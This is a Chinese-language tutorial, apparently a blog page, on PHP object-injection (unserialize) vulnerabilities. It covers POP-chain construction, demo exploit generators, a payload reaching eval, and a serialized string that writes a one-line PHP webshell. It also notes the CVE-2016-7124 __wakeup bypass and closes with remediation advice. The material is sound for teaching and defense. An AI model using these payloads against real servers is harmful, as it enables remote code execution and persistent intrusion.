前言

序列化给我们传递对象提供了一种简单的方法serialize()将一个对象转换成一个字符串unserialize()将字符串还原为一个对象。此类函数的使用本身没有危害,但是传入反序列化函数的字符串用户可控的时候就会存在漏洞——PHP对象注入

正文POP链

序列化的关键在于能够在目标代码当中找到一条可以控制的POP链,POP链就是class A调用了class B的方法,class B还调用了其他方法,在其方法中可以控制反序列化的参数,而class A中含有魔术方法引用了不安全的函数,就是一个POP链不同数据类型的序列化可以用来反序列化已被序列化的PHP变量

支持多种类型的PHP变量integers / floats / boolean

strings / array / objects

等...

booleanb:;

b:1; // True

b:0; // False

inti:;

i:1; // 1

i:-3; // -3

objectO:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

NULLN; //NULL

strings:5:"hello";

s:size:value;

arraya:3:{s"key1";s"value1";s"value2";}

a:size:{key, value pairs};POP链demo

poc.php:<?php

class popdemo

{

private $data = "demo\n"; # 文件内容

private $filename = './demo'; # 目标文件

public function __wakeup() # 反序列化时触发

{

$this->save($this->filename);

}

public function save($filename) #写文件

{

file_put_contents($filename, $this->data);

}

}

以上为一个构造好的POP链,当用此类实例化的对象序列化之后再被反序列化,就会触发写文件操作

POC.php<?php

require "./popdemo.php";

$demo = new popdemo();

file_put_contents('./pop_serialized.txt', serialize($demo));

pop_unserialize.php

运行代码后,在当前目录下生成pop_serialized.txt文件,并且文件内存放着popdemo对象的序列化字符串

pop_unserialize.php<?php

require "./popdemo.php";

unserialize(file_get_contents('./pop_serialized.txt'));

运行pop_unserialize.php文件后,会在当前目录下生成一个demo文件,内容为demo

当我们能够控制序列化的字符串的时候,这个地方就会存在任意文件写操作的漏洞POP demo2

序列化漏洞利用方法不一定直接出现在魔术方法中如果关键代码不在魔术方法中时,而是在一个类的普通的方法中,这时候就需要寻找相同的函数名将类的属性和敏感函数的属性联系起来

blbana.php<?php

class blbana {

protected $ClassObj;

function __construct() {

$this->ClassObj = new normal();

}

function __destruct() {

$this->ClassObj->action();

}

}

class normal {

function action() {

echo "hello";

}

}

class evil {

private $data;

function action() {

eval($this->data);

}

}

unserialize($_GET['d']);

blbana这个类正常情况下,会在构造方法中实例化一个normal类的对象,在析构方法中会调用此对象的action方法,最终打印hello字符串,不存在敏感的操作

exp.php<?php

class blbana {

protected $ClassObj;

function __construct() {

$this->ClassObj = new evil();

}

}

class evil {

private $data = "phpinfo();";

}

echo urlencode(serialize(new blbana()));

echo "\n\r";%

运行exp.php生成payload,内容为:O%3A6%3A%22blbana%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

尝试攻击,将payload通过get请求传入到blbana.php的GET请求参数d里去

成功调用了类evil中的action方法敏感的操作不一定要在魔术方法当中,当找到魔术方法以后,如果存在敏感操作,可以分析参数是否可控;当存在有敏感操作的普通方法时,就可以分析是否存在具有调用了同名方法的魔术方法,劫持代码的运行流程,触发漏洞代码漏洞代码

漏洞利用条件程序中有一个PHP的魔术方法,比如_wakeup或者_destruct,我们需要利用这个方法,来进行攻击;

程序中含有PHP反序列化的函数unserialize()

unserialize()参数可控,可以控制传入函数中的序列化字符串

此时我们的代码中已经具备了以上的条件,可以进行PHP的对象注入了。exp内容

O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:4:"webshell";}

我们成功执行exp时,会在同一个目录下生成一个名叫shell.php的文件,并且文件内容为webshell漏洞利用

我们先通过上传之类的方法,将这个exp.txt上传到服务器当中,通过代码我们可以看出来,最后程序会将文件中的内容通过file_get_contents()函数读取出来,在程序执行完毕的时候,由于_destruct方法触发了代码执行。

在同级目录下生成了一个shell.php,且内容为aaaa漏洞分析

出现这个漏洞的时候我们可以利用它向目标服务器上写入shell:O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:4:"<?php @eval($_GET['BlBana'])?>";}

通过这个exp,我们在shell.php写入的便是一句话。

需要注意的是,在字符串中,前面的数字代表的是后面字符串中字符的个数,如果数字与字符个数不匹配的话,就会报错,并向shell.php中写入初始内容“text”,我在不同版本的PHP中测试了这种错误。

在以上这两个版本中测试的时候,若我们序列化后的字符串不符合要求,就会抛出一个错误,并向shell.php中写入初始值。

但是在这个版本的PHP中,不会报错,但是依然是在shell.php中写入初始值。所以在利用的时候需要注意以上的内容,防止漏洞复现的失败有的程序当中,会在__destruct()方法调用之前,调用__wakeup()对成员变量的值进行赋值,导致我们exp在进入析构方法之前就被破坏掉,PHP 5.6.24中存在CVE漏洞CVE-2016-7124当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

现在分析一下漏洞的一些细节,这是因为我们通过GET传递了参数给session_filename这个参数中,导致之后的函数file_get_contents读取了exp.txt中的字符串,之后字符串被反序列化为了foo的对象,导致了代码执行。

被反序列后产生的对象,相当于我们利用new foo()成了一个对象:foo Object ( [file] => 2.txt [data] => text )

foo Object ( [file] => shell.php [data] => aaaa )

使得我们传入的恶意内容覆盖了原先对象初始值O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:4:"aaaa";}

O:3:"foo":2:{s:4:"file";s:5:"2.txt";s:4:"data";s:4:"text";}

具体的序列化后的字符串如上所示。

我们成功的修改了变量$file和$data的值,这时候我们需要的是执行魔术方法_destruct(),这个方法的执行有以下集中方法:

1. 当程序正常的执行完毕后,所有的对象被销毁了,析构函数被调用(我们这里就是这种方法)

2. 当对象没有指向时,对象被销毁$p = new foo();

$p = null;

此时析构函数执行

3. 使用unset变量销毁指向对象的变量,注意的是unset销毁的是指向对象的变量,而不是对象,只有指向同一个对象的所有变量都销毁的时候,析构函数才执行。也就是说当对象被销毁时,析构函数就会被调用。

反序列化漏洞挖掘

反序列化漏洞的挖掘主要是在代码中找到可以利用的POP组件,具体思路:利用文本搜索工具,在目标代码中搜索,**__wakeup,__destruct**这类魔术方法

跟踪方法,看魔术方法中是否存在一些可以利用的地方,找到可以利用的POP组件

根据类的结构定义构建序列化字符串Poc总结漏洞修复对于传入unserialize()函数中的字符串,进行过滤,防止对象注入

避免在魔术方法中使用敏感的操作

避免存在敏感操作的普通方法和魔术方法中调用方法同名,从而被攻击者劫持代码流程,造成危害SugarCRM v6.5.23 --> v6.5.24 修复方法function sugar_unserialize($value)

{

6.5.23:preg_match('/[oc]:\d+:/i', $value, $matches); # O:+14:"SugarCacheFile"绕过

6.5.24:preg_mat ch('/[oc]:[^:]*\d+:/i', $value, $matches);

if (count($matches)) {

return false;

}

return unserialize($value);

}

php反序列化绕过,【技术分享】PHP反序列化漏洞相关推荐

  1. php反序列化绕过,浅谈php反序列化漏洞

    关于php的反序列化漏洞要先说到序列化和反序列化的两个函数,即: serialize() 和unserialize(). 简单的理解: 序列化就是将一个对象变成字符串 反序列化是将字符串恢复成对象 这 ...

  2. java xxe漏洞利用_【技术分享】XXE漏洞攻防之我见

    作者:激越王 预估稿费:400RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 你是否听说过xml注入攻击呢,或者对它只知其一不知其二呢? 现在让我们从xml相关基础知识开 ...

  3. websocket网络层详解_【技术分享】WebSocket漏洞与防护详解

    2017-05-02 14:15:48 阅读:1889次 预估稿费:120RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 socket简介 一个socket是一次网络通信 ...

  4. java攻击_【技术分享】如何攻击Java反序列化过程

    预估稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 一.前言 现在反序列化(deserialization)漏洞早已不是新鲜事物(如这几处参考资料[1][2] ...

  5. java序列化_技术干货 | JAVA反序列化漏洞

    目录 反序列化漏洞 序列化和反序列化 JAVA WEB中的序列化和反序列化 对象序列化和反序列范例 JAVA中执行系统命令 重写readObject()方法 Apache Commons Collec ...

  6. android4 设置栈大小,【技术分享】Android内核漏洞利用技术实战:环境搭建栈溢出实战...

    [技术分享]Android内核漏洞利用技术实战:环境搭建&栈溢出实战 2017-08-14 16:22:02 阅读:0次 预估稿费:300RMB 投稿方式:发送邮件至linwei#360.cn ...

  7. PHP序列化及反序列化绕过

    序列化和反序列化及绕过 前言 序列化和反序列化 序列化 反序列化 反序列化绕过 序列化利用 ctf题目实例 攻防世界 unserialize3 攻防世界 Web_php_unserialize ctf ...

  8. 黑客常用SQL注入绕过技术总结!

    今天给大家再次分享一篇硬核内容,那就是黑客常用的SQL注入绕过技术,还是那句话:我们学渗透技术不是为了攻击别人的系统,而是了解黑客常用的渗透技能,以此来修复我们自己系统中的漏洞,使我们的系统更加健壮, ...

  9. 技术分享 | 业务模板的技术实践

    源宝导读:"业务模板"作为天际·建模平台3.0推出的重要特性,它将元数据复用发挥到了极致,通过业务模板几乎可以覆盖整个建模元数据开发流程,提供业务场景级别的复用能力.本文将介绍&q ...

  10. c沙箱与容器_orw技术分享

    c沙箱与容器_orw技术分享 一. 沙箱保护 文件系统隔离 (1)chroot chroot的主要功能是指定根目录,如"chroot '/home/star'",会启动一个新的sh ...

最新文章

  1. 21位花朵数 C语言(执行时间小于16s)
  2. C++实现平衡二叉树
  3. java中获取特定时间段_获取某一时间段特定星期几的所有日期(Java实现)
  4. Tomcat其他方式启动
  5. Mac/Linux/Centos终端中上传文件到Linux云服务器
  6. 王爽 汇编语言第三版 第10章 call 和 ret 指令 以及 子程序设计
  7. MySQL 重中之重 [ 事物 ]
  8. 哲学家都在干些什么_哲学家们都干了些什么——哲学是什么
  9. SwipeRefreshLayout+RecyclerView滑动冲突解决
  10. stata 将数据集变量名称导出_Stata 15 统计数据分析软件
  11. 软件架构设计原则--开闭原则
  12. STM32F207时钟系统解析
  13. 互联网运营工作需要做什么?
  14. 电信主机托管费用_服务器托管的收费标准(必读)
  15. 【ES 笔记】 ElasticSearch 基本的查询语句介绍
  16. 路由器局域网设置_教你如何修改路由器LAN口IP地址的方法
  17. ubuntu14.04 安装skyeye
  18. Steam内存测试工具
  19. shell查找html里的ip,《通过脚本查看哪些ip被占用》shell笔记
  20. signature=60f8eeca8788f5db0f874e2b9c785ab7,SIGNATURE EXPLORATION UPDATES FRIO SANDS TARGET IN TEXAS.

热门文章

  1. Spring Boot JPA的查询语句
  2. 我的博客即将同步至腾讯云+社区
  3. scala学习 之 及 基本和高级用法(二)
  4. 【简便解法】1077 互评成绩计算 (20分)_32行代码AC
  5. [leetcode] 160.相交链表
  6. [leetcode] 746.使用最小花费爬楼梯
  7. 0820-拼多多二面
  8. JVM常用的参数配置
  9. (*长期更新)软考网络工程师学习笔记——Section 3 宽带接入技术和导引型传输媒体
  10. oracle主从表分离怎么实时更新数据_高可用数据库主从复制延时的解决方案